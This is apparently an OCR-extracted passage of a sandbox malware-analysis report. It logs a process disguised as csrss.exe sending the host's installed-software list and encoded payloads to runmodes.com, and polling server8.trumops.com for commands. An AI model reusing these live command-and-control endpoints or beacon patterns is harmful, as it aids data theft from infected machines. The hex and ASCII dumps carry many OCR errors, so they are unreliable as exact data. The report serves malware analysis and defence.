22 7d 2c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 55

Data Ascii: [{"display_name":"Update for Microsoft Office 2016 (KB4484145) 32-Bit Edition","display_version":"","install
_date™:"},{"display_name":"Update for Microsoft Office 2016 (KB3141456) 32-Bit Edition","display_version":"" "install_d
ate":""},{"display_name":"U

Data Raw: 7d 2c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73
6f 66 74 20 4f 6e 65 44 72 69 76 65 20 66 6f 72 20 42 75 73 69 6e 65 73 73 20 28 4b 42 34 30 32 32 32 31 39 29 20 33 32
2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2¢ 22 69 6e 73 74
61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 22 7d 2¢ 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 43 6f 6e 6e 65 63 74 69 6f
6e 20 4d 61 6e 61 67 65 72 22 2c 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6¢ 6C
5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70
64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 57

Data Ascii: },{"display_name":"Update for Microsoft OneDrive for Business (KB4022219) 32-Bit Edition","display_version":

" "install_date":""},{"display_name":"Connection Manager","display_version":"" “install_date":""},{"display_name":"Security
Update for Microsoft W

Data Raw: 2e 33 30 35 30 31 22 2c 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31 32 2e 30 2e 33 30 35 30
31 2e 30 22 2c 22 69 6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 22 7d 2¢c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a
22536563 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 50 72 6f 6a 65 63 74 20 32
3031 36 20 28 4b 42 34 34 38 34 32 36 39 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6¢ 61
79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2¢ 22 69 6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 22 7d 2¢c 7b 22 64 69 73 70 6¢
61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20
45 78 63 65 6¢ 20 32 30 31 36 20 28 4b 42 34 34 38 34 32 37

Data Ascii: .30501","display_version":"12.0.30501.0","install_date":""},{"display_name":"Security Update for Microsoft P
roject 2016 (KB4484269) 32-Bit Edition","display_version™:"","install_date":""},{"display_name":"Security Update for Mic
rosoft Excel 2016 (KB448427

Data Raw: 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70
6c 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32
30 31 36 20 28 4b 42 34 34 37 35 35 38 38 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6¢ 61
79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 22 7d 2¢c 7b 22 64 69 73 70 6¢
61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30
31 36 20 28 4b 42 34 34 36 31 34 33 35 29 20 33 32 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6¢ 61 79 5f
76 65 72 73 69 6f 6e 22 3a 22 22 2¢ 22 69 6e 73 74 61 6¢ 6C

Data Ascii: ersion": | "} {"display_name":"Update for Microsoft Office 2016 (KB4475588) 32-Bit Edition",
"display_version' install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB4461435) 32-Bit Edition","d
isplay_version":"","install

Data Raw: 5f 76 65 72 73 69 6f 6e 22 3a 22 31 36 2e 30 2e 34 32 36 36 2e 31 30 30 31 22 2c 22 69 6e 73 74 61 6¢ 6¢ 5f
64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33 22 7d 2c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61
74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 33 31 31 38 32 36 33 29
203332 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2¢c 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2¢ 22 69
6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 22 7d 2c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69
74792055 70 64 61 74 65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 50 72 6f 62 65 63 74 20 32 30 31 36 20 28 4b 42
34 3438 34 32 36 39 29 20 33 32 2d 42 69 74 20 45 64 69 74

Data Ascii: _version":"16.0.4266.1001","install_date":"20200723"},{"display_name":"Update for Microsoft Office 2016 (KB3
118263) 32-Bit Edition","display_version":"","install_date":""},{"display_name":"Security Update for Microsoft Project 2016
(KB4484269) 32-Bit Edit
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kBytes
Timestamp transferred

2021-11-11 00:57:26 UTC 12

2021-11-11 00:57:26 UTC 16

2021-11-11 00:57:26 UTC 19

2021-11-11 00:57:26 UTC 20

2021-11-11 00:57:26 UTC 21

2021-11-11 00:57:26 UTC 21

Session ID Source IP

2 192.168.2.3
kBytes

Timestamp transferred

2021-11-11 00:57:29 UTC 21

2021-11-11 00:57:29 UTC 21

Copyright Joe Security LLC 2021

Direction

ouT

ouT

Source Port
49749

Direction
ouT

ouT

Data

Data Raw: 32 31 30 30 35 22 2c 22 69 6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 32 30 31 39 30 36 32 37 22 7d 2c 7b 22
64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 4f 53 4d 20 55 58 20 4d
5549 20 28 45 6e 67 6¢ 69 73 68 29 20 32 30 31 36 22 2¢ 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 31
36 2e 30 2e 34 32 36 36 2e 31 30 30 31 22 2¢ 22 69 6e 73 74 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 32 30 32 30 30 37 32 33
22 7d 2c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74 65 20 66 6f 72 20
4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 32 30 31 36 20 28 4b 42 34 34 38 34 33 30 30 29 20 33 32 2d 42 69 74 20 45
64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73

Data Ascii: 21005","install_date":"20190627"},{"display_name":"Microsoft Office OSM UX MUI (English) 2016","di
splay_version":"16.0.4266.1001","install_date":"20200723"},{"display_name":"Security Update for Microsoft Word 2016
(KB4484300) 32-Bit Edition","display_vers

Data Raw: 3a 22 22 7d 2c 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 53 65 63 75 72 69 74 79 20 55 70 64 61 74
65 20 66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 38 34 32 38 37 29 20
3332 2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2¢ 22 69 6e
7374 61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 22 7d 2¢ 7b 22 64 69 73 70 6¢ 61 79 5f 6e 61 6d 65 22 3a 22 55 70 64 61 74 65 20
66 6f 72 20 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 32 30 31 36 20 28 4b 42 34 34 38 34 31 30 36 29 20 33 32
2d 42 69 74 20 45 64 69 74 69 6f 6e 22 2c 22 64 69 73 70 6¢ 61 79 5f 76 65 72 73 69 6f 6e 22 3a 22 22 2c 22 69 6e 73 74
61 6¢ 6¢ 5f 64 61 74 65 22 3a 22 22 7d 2¢ 7b 22 64 69 73

Data Ascii: :""},{"display_name":"Security Update for Microsoft Office 2016 (KB4484287) 32-Bit Edition","display_version
"™ "install_date":""},{"display_name":"Update for Microsoft Office 2016 (KB4484106) 32-Bit Edition","display_version":

" "install_date":""},{"dis

HTTP/1.1 404 Not Found

Date: Thu, 11 Nov 2021 00:57:26 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

x-powered-by: PHP/8.0.11

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.comVreport\\v3?s=bKtxxp476cwRWpL7PMsiOEiUQCqwyb3b
ZEaJOAAICY%2FT9jGwQdvS7Se%2BfmHEOErVCAP%2B4zdZUYVGNLmMzKEYvbf2eQj3YthAsdfhB5elGhFyxOPCEF4006
j5HX%2FobEjzLNcmOpl2mw"}],"group":“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6ac39101ef046927-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 34 61 38 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e 0Oa 3c 68 65 61 64 3e Oa 20
2020 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e Oa 20 20 20 20 3c 74 69 74 6¢ 65 3e
4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6¢ 65 3e Oa Oa 20 20 20 20 3c 73 74 79 6¢ 65 3e Oa 20 20
20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20 39 70
742022 56 65 72 64 61 6e 61 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 30 30 30 3b 0a 20
2020 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0
220 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20

Data Ascii: 4a8<!DOCTYPE html><html><head> <meta charset="utf-8" /> <title>Not Found (#404)</title> <style>
body { font: normal 9pt "Verdana"; color: #000; background: #fff; } hi{

Data Raw: 20 22 56 65 72 64 61 6e 61 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6¢ 6f 72 3a 20 23 30 30 30 3b
0a 20 20 20 20 20 20 20 20 7d Oa Oa 20 20 20 20 20 20 20 20 2e 76 65 72 73 69 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20
20 20 20 20 63 6f 6¢ 6f 72 3a 20 67 72 61 79 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20
38 70 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6¢ 69 64 20 23
61 61 61 3b Oa 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 65 6d 3b 0a 20 20 20 20
2020 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 7d Oa 20 2
020 20 3c 2f 73 74 79 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a Oa 3¢

Data Ascii: "Verdana"; color: #000; } .version { color: gray; font-size: 8pt; border-

top: 1px solid #aaa; padding-top: lem; margin-bottom: 1em; } <Istyle></head><

Data Raw: 30 0d Oa Od Oa
Data Ascii: 0

Destination IP  Destination Port Process
104.21.34.203 443 C:\Windows\rss\csrss.exe

Data

POST /api/log HTTP/1.1

Host: runmodes.com

User-Agent: Go-http-client/1.1

Content-Length: 132

Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

Data Raw: 55 33 2f 36 31 6¢ 2b 6b 4c 48 31 69 49 4a 41 49 76 71 79 64 37 55 4e 55 63 69 51 4f 36 4a 39 70 30 41 2f 72
6170 44 41 45 76 73 46 52 4c 6b 49 30 62 61 49 45 39 4a 70 77 77 71 48 34 4b 4d 2f 71 4c 35 53 77 59 4c 73 6f 44 6d 49
41 2f 62 72 4e 4b 4d 61 63 4f 46 47 41 72 6¢ 69 68 31 43 61 6d 4e 6d 57 71 6¢ 4b 64 77 61 4a 45 76 54 2b 39 4b 47 70 42
7135 43 44 78 58 54 49 47 67 2b 75 37 67 3d 3d

Data Ascii: U3/611+kLH1ilJAlvgyd7UNUCIQO6J9p0A/rapDAEVSFRLKIObalE9IpwwqHAKM/GL5SwYLsoDmIA/brNKMacOFG
Arlih1CamNmWglKdwaJEvT+9KGpBg5CDXXTIGg+u7g==
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kBytes
Timestamp transferred

2021-11-11 00:57:29 UTC 21

Session ID Source IP

3 192.168.2.3
kBytes

Timestamp transferred

2021-11-11 00:57:31 UTC 22

2021-11-11 00:57:31 UTC 22

2021-11-11 00:57:31 UTC 23

2021-11-11 00:57:31 UTC 24

2021-11-11 00:57:31 UTC 24

Session ID Source IP

4 192.168.2.3
kBytes

Timestamp transferred

2021-11-11 00:57:46 UTC 24

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49750

Direction

ouT

ouT

Source Port

49751

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Thu, 11 Nov 2021 00:57:29 GMT

Content-Length: 0

Connection: close

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\\v3?s=VyqJdFK9C8SN%2BxUG|V5xrMiZwo7X70
jpe%2BJ9gkaTOLAMY 7mP9r15bftL7%2BilJgKAIQpYnxOV6eufwEkwSyOrShNubJWJalZwhw44yTnybBgDNVepuofVI
9tVybkDCX%2Bc%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6ac39119af7942d5-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Destination IP Destination Port Process

104.21.79.9 443 C:\Windows\rss\csrss.exe

Data

POST /api/poll HTTP/1.1

Host: server8.trumops.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0
.3987.132 Safari/537.36

Content-Length: 652

Accept-Encoding: gzip

Data Raw: 4b 38 6a 58 39 4f 57 4d 58 56 70 64 78 6e 4e 35 31 61 63 37 56 45 43 76 4e 73 55 74 34 75 49 74 55 4c 31 37
4f 52 77 6a 76 4a 2f 59 52 31 34 79 2f 32 7a 2f 58 4f 56 52 39 64 56 76 48 5a 6¢ 57 42 45 34 45 49 38 50 66 45 56 53 71
42 48 52 55 4d 68 59 76 50 41 58 6¢ 79 4d 50 72 53 5a 48 32 42 72 52 42 37 43 69 77 57 6e 6¢ 4b 41 4d 76 4e 5a 4e 37
63 4b 31 63 50 37 4e 6d 33 71 43 44 7a 54 43 76 41 43 49 52 79 42 7a 48 6f 6f 6d 43 7a 52 76 77 68 43 57 74 76 6d 61
63 78 52 48 49 6d 6b 75 62 6b 68 55 5a 73 54 30 4d 39 30 55 72 52 6¢ 4a 32 30 64 44 53 79 73 6f 4e 68 76 78 6b 58 6b 4
7 70 2b 6e 53 4d 4e 2f 4e 31 6¢ 56 4b 44 66 6f 34 66 31 46 30 75 4b 4f 70 31 37 6e 36 50 52 43 38 43 33 34 75 37 6e 77
67 64 6e 58 62 69 45 76 47 65 64 66 36 75 62 6b 73 53 66 69 5a 35

Data Ascii: K8jiX90OWMXVpdxnN51ac7VECVNsUt4ultUL17ORwjvJ/YR14y/2z/XOVR9dVVHZIWBE4EISPfEVSqBH
RUMhYVPAXIYMPrSZH2BrRB7CiwWnIKAMVNZN7cK1cP7Nm3qCDzTCvACIRyBzHoomCzRvwhCWtvmacxRH
ImkubkhUZsTOM90UrRIJ20dDSysoNhvxkXkGp+nSMN/N1IVKDfo4f1FOUKOp17n6PRC8C34u7nwgdnXbiEvGedf6ub
ksSfizs

HTTP/1.1 404 Not Found

Date: Thu, 11 Nov 2021 00:57:31 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

x-powered-by: PHP/8.0.11

set-cookie: PHPSESSID=gv8mampiuh95qf18cj0go9m89u; path=/; HttpOnly

expires: Thu, 19 Nov 1981 08:52:00 GMT

cache-control: no-store, no-cache, must-revalidate

pragma: no-cache

access-control-allow-credentials: false

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\V/report\/v3?s=RBPQOW%2BDKJcfajEWjUAp5SEAC%2F%2
FnnEUjdXStK%2Byc0Yn65mfutwtYjwilq%2BUIGVNKOI8GjSutN%2BRWb2fq4knditxLDLY pwIGC1tM5sB3%2F2PrE
Ihih1ODR82MTA1P9qvUN7SYUkd8C"}],"group™:“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6ac39121ec73701b-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 65 38 0d Oa 54 46 69 6b 7a 67 75 4f 39 61 71 32 2f 67 64 47 51 52 66 46 32 7a 2b 61 79 6f 78 33 6a 62 2b 71
70 4c 75 69 2b 7a 59 2b 2b 6e 39 68 53 53 7a 2f 5a 4b 49 68 59 33 45 70 35 64 4d 45 67 65 63 2b 72 79 4d 7a 58 34 31
5a 6a 42 2b 62 6d 72 51 51 38 4f 59 63 54 4a 58 68 59 78 68 47 4d 72 73 6f 4c 54 75 6e 5a 79 6¢ 55 32 79 6f 74 51 42 6b
45 53 35 4¢ 39 6d 52 2b 64 43 55 4e 50 72 66 36 49 68 53 72 4a 33 5a 34 4d 68 75 38 32 78 4a 61 47 38 57 4¢ 58 58 73
7872 45 50 74 37 41 41 64 30 7a 49 4b 2f 64 35 56 33 2f 5a 6¢ 4¢ 65 73 4e 77 50 44 5a 44 50 5a 4a 61 52 39 6f 44 76 4d
6c 6e 54 2b 51 6¢ 46 31 53 53 32 6d 55 6b 49 6e 32 71 67 6d 48 65 72 78 75 59 4a 68 49 50 7a 65 45 70 32 33 5a 6e 58
41 3d 3d 0d Oa

Data Ascii: e8TFikzguO9aq2/gdGQRfF2z+ayox3jb+qpLui+zY++n9hSSz/ZKIhY3Ep5dMEgec+ryMzX41ZjB+bmrQQ80YcTJ
XhYxhGMrsoLTunZylU2yotQBKES5LIMR+dCUNPrf6IhSri3Z4Mhu82xJaG8WLXXsxrEPt7AAdOzIK/d5V3/ZILesNw
PDZDPZJaR90DvMInT+QIF1SS2mUkIn2ggmHerxuY JhiPzeEp23ZnXA==

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

172.67.139.144 443 C:\Windows\rss\csrss.exe

Data

GET /api/cdn?c=3e3f6b9a36a75d40&uuid=f7873597-7b36-4441-9416-097456f134ae HTTP/1.1
Host: server8.trumops.com

User-Agent: Go-http-client/1.1

Accept-Encoding: gzip
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kBytes
Timestamp transferred

2021-11-11 00:57:46 UTC 24

2021-11-11 00:57:46 UTC 25

2021-11-11 00:57:46 UTC 25

Session ID Source IP

5 192.168.2.3
kBytes

Timestamp transferred

2021-11-11 00:57:56 UTC 25

2021-11-11 00:57:56 UTC 26

2021-11-11 00:57:56 UTC 26

Session ID Source IP

6 192.168.2.3
kBytes

Timestamp transferred

2021-11-11 00:58:41 UTC 26

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49754

Direction

ouT

ouT

Source Port
49808

Direction
ouT

Data

HTTP/1.1 200 OK

Date: Thu, 11 Nov 2021 00:57:46 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Xx-powered-by: PHP/8.0.11

access-control-allow-credentials: false

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=CM%2FrihBKgG 20%2BgPmJLNt9KnFum7h
SY2ZhshN5CwoR1EpGJacvDIwP9IxmL4j9XgxPa%2F5x4AMWnFzO7NsDvxwaGVTqz6hMc8uB8CenUSjE3KJeFotS3165
qzd970115mE7QLIpEfxq"}],"group™:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6ac3917ed8c4749d-LHR

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 31 33 34 0d Oa 46 76 66 74 38 72 39 6a 57 59 4f 4f 52 4a 64 55 41 7a 36 58 41 54 5a 42 69 6¢ 52 54 67 4e 41
3048 2b 4d 5a 75 50 55 4c 49 75 69 78 59 57 38 34 4d 38 30 42 74 7a 45 34 72 48 5a 79 37 43 56 54 51 64 63 55 30 77
6e 30 75 75 74 48 47 70 64 6a 6d 56 36 6¢ 70 6e 61 6e 6b 47 66 5a 49 58 6¢ 4c 6f 30 71 2f 78 39 71 76 47 45 2f 53 72 44
77 4268 73 46 38 6f 46 63 47 73 71 2f 53 50 68 46 78 63 68 59 63 68 41 39 69 77 39 4b 55 43 4b 4¢ 58 77 71 61 6a 47 36
6d 79 59 4d 58 5a 6b 45 7a 65 38 76 77 33 67 53 51 53 39 4a 70 37 31 70 64 61 36 36 43 56 49 6e 4b 35 61 62 39 6b 55
58 53 38 4f 51 32 61 4c 48 58 33 41 50 49 35 74 6e 53 44 57 4e 48 63 55 50 46 4¢c 75 37 44 49 71 44 75 6¢ 64 61 78 72 7
079 5a53 36 42 4e 72 6a 6a 51 4a 4d 32 6a 71 30 53 4f 34 35 67

Data Ascii: 134Fvft8r9jwYOORJdUAZ6XATZBIIRTgNAOH+MZuPULIuixYW84M80BtzE4rHZy7CVTQdcUOwnOuut
HGpdjmV6lpnankGfZIXILo0g/x9qvGE/SrDwJhsF8oFcGsqg/SPhFxchYchA9iw9KUCKLXwqajGemyYMXZkEze8vw3g
SQS9Jp71pdab6CVINnK5ab9kUXS80Q2aLHX3APISthnSDWNHcUPFLU7DIgDuldaxrpyZS6BNIjjQIM2jq0S045g

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

172.67.207.136 443 C:\Windows\rss\csrss.exe

Data

POST /api/llog HTTP/1.1

Host: runmodes.com

User-Agent: Go-http-client/1.1

Content-Length: 160

Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

Data Raw: 62 4c 33 56 34 47 6f 46 6e 33 6f 4b 50 75 70 68 68 49 53 58 53 4b 34 6e 2b 58 76 64 6e 68 76 39 67 30 50 6a
4e 69 69 6b 55 30 70 50 43 55 55 4e 51 6f 4d 31 70 45 74 6e 36 6d 62 77 6b 57 58 59 62 34 74 65 6b 6b 4f 39 6¢ 45 71

6b 48 54 34 4a 6a 50 56 68 62 6f 5a 54 79 32 78 30 7a 30 52 2b 64 66 35 6f 33 51 4c 47 73 53 41 36 43 62 76 47 44 7a 50
7559 37 4c 66 4a 5a 36 30 6a 4e 4a 5a 4e 67 61 30 4a 75 37 42 42 75 4c 4b 43 50 6a 38 39 31 38 53 39 6d 6f 62 45 6a
4a 66 73 51 3d 3d

Data Ascii: bL3V4GoFn30KPuphhlSXSK4n+Xvdnhv9gOPjNiikUOpPCUUNQoMI1pEtn6mbwkWXYb4tekkO9IEqkHT
4JjPVhboZTy2x0z0R+df503QLGsSA6CbvGDzPuY7LfIZ60jNJZNga0Ju7BBuLKCPj8918S9mobEjJfsQ==

HTTP/1.1 200 OK

Date: Thu, 11 Nov 2021 00:57:56 GMT

Content-Length: 0

Connection: close

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.com\V/report\/v3?s=83uhlx7ebvkDKIumTtxZ442jGpnlhj5F
%2B3khHvd7TZu3XPc97SCIQF1iHIOsO0R9z8IBEeadj4dVYkQKRQs%2FnXFqQ89FZxq3u2kjYA8lye%2Fu6dSB2ilrf
40fLuleEY9M%3D"}],"group”:"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6ac391bd4873c303-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Destination IP Destination Port Process

172.67.139.144 443 C:\Windows\rss\csrss.exe

Data

POST /api/poll HTTP/1.1

Host: server8.trumops.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:73.0) Gecko/20100101 Firefox/73.0
Content-Length: 668

Accept-Encoding: gzip
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kBytes

Timestamp transferred Direction
2021-11-11 00:58:41 UTC 27 ouT
2021-11-11 00:58:41 UTC 27 IN
2021-11-11 00:58:41 UTC 28 IN
2021-11-11 00:58:41 UTC 29 IN

Code Manipulations

Statistics

Behavior

%} Click to jump to process

System Behavior

Data

Data Raw: 53 62 4f 56 7a 31 57 59 6d 47 43 56 51 2f 55 31 56 53 5a 78 35 78 59 30 55 41 31 62 4d 5a 55 58 4a 65 54 7a
6e 43 54 35 78 39 79 5a 57 6e 72 78 74 76 51 2f 67 37 55 53 69 42 44 30 4f 72 2b 4a 62 35 3547 64 50 71 4d 43 73 5a
73 63 6b 57 4a 65 4d 34 50 62 53 33 46 2b 31 78 75 31 6f 4d 43 50 38 47 61 76 71 71 4d 47 45 77 4a 58 69 67 4f 7a 73
32 66 2b 57 46 35 43 47 56 59 47 6d 69 68 46 48 57 4a 59 67 6a 41 4b 7a 50 62 70 7a 65 73 37 64 76 33 30 57 46 30 67
74 2b 47 70 75 53 77 6e 7a 42 32 66 31 43 39 38 33 30 56 57 52 54 75 69 67 68 4a 69 6d 2f 43 61 2b 32 66 36 52 34 67
63 59 78 4c 4a 6b 66 53 58 72 33 6d 54 35 73 6a 79 78 77 70 64 61 6a 34 6¢ 6b 78 4f 31 41 59 7a 39 48 34 4f 34 6b 48 6d
52 2f 54 6¢ 2f 43 46 33 6¢ 50 58 52 54 76 37 45 52 65 37 77 36 70 33

Data Ascii: SbOVzIWYmGCVQ/U1VSZx5xYOUA1bMZUXJeTznCT5x9yZWnrxtvQ/g7USiBDOOr+Jb55GdPgMCsZsck
WJIeM4PbS3F+1xuloMCP8GavqgMGEwJXigOzs2f+WF5CGVYGmihFHWJYgjAKzPbpzes7dv30WF0gt+GpuSwnzB2f1C9
830VWRTuighJim/Ca+2f6R4gcYxLJIkISXr3mT5sjyxwpdaj4lkxO1AYz9H404kHmMR/TI/CF3IPXRTV7ERe7w6p3

HTTP/1.1 404 Not Found

Date: Thu, 11 Nov 2021 00:58:41 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

x-powered-by: PHP/8.0.11

set-cookie: PHPSESSID=4ujbsd6crmkskigbel52akbion; path=/; HttpOnly

expires: Thu, 19 Nov 1981 08:52:00 GMT

cache-control: no-store, no-cache, must-revalidate

pragma: no-cache

access-control-allow-credentials: false

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=ryIHSGUMxFPJ%2F1e4qghNO%2FLH6YHJ
uD1QQg3IP1u0%2BXF1eY pABsushydm506ZkuU1RkdCCxRbUIoxtS3RvmeD7XMScKDINd4FY 3%2Bt%2Fz7IrD90Z3nl
NfnYz5B0JVNarhQrNImsp3fS"}],"group™:“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

